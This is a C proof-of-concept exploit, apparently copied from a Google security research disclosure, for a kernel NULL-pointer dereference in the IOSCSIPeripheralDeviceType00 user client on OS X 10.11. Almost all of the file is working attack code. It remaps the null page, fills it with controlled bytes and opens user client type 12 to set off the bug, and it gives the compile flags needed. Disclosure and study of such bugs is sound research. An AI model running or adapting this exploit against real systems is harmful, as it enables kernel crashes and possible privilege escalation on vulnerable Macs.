71 lines
No EOL
1.7 KiB
C
71 lines
No EOL
1.7 KiB
C
/*
|
|
Source: https://code.google.com/p/google-security-research/issues/detail?id=562
|
|
|
|
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.
|
|
|
|
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
|
|
*/
|
|
|
|
// ianbeer
|
|
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0
|
|
|
|
/*
|
|
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference
|
|
|
|
Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#include <mach/mach.h>
|
|
#include <mach/vm_map.h>
|
|
#include <sys/mman.h>
|
|
|
|
#include <unistd.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
io_connect_t conn = MACH_PORT_NULL;
|
|
|
|
int main() {
|
|
kern_return_t err;
|
|
// re map the null page rw
|
|
int var = 0;
|
|
err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
|
|
if (err != KERN_SUCCESS){
|
|
printf("%x\n", err);
|
|
}
|
|
vm_address_t addr = 0;
|
|
err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
|
|
if (err != KERN_SUCCESS){
|
|
if (err == KERN_INVALID_ADDRESS){
|
|
printf("invalid address\n");
|
|
}
|
|
if (err == KERN_NO_SPACE){
|
|
printf("no space\n");
|
|
}
|
|
printf("%x\n", err);
|
|
}
|
|
char* np = 0;
|
|
for (int i = 0; i < 0x1000; i++){
|
|
np[i] = 'A';
|
|
}
|
|
|
|
|
|
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
|
|
if (service == MACH_PORT_NULL) {
|
|
printf("can't find service\n");
|
|
return 0;
|
|
}
|
|
|
|
IOServiceOpen(service, mach_task_self(), 12, &conn); // <-- userclient type 12
|
|
if (conn == MACH_PORT_NULL) {
|
|
printf("can't connect to service\n");
|
|
return 0;
|
|
}
|
|
|
|
printf("boom?\n");
|
|
|
|
return 0;
|
|
} |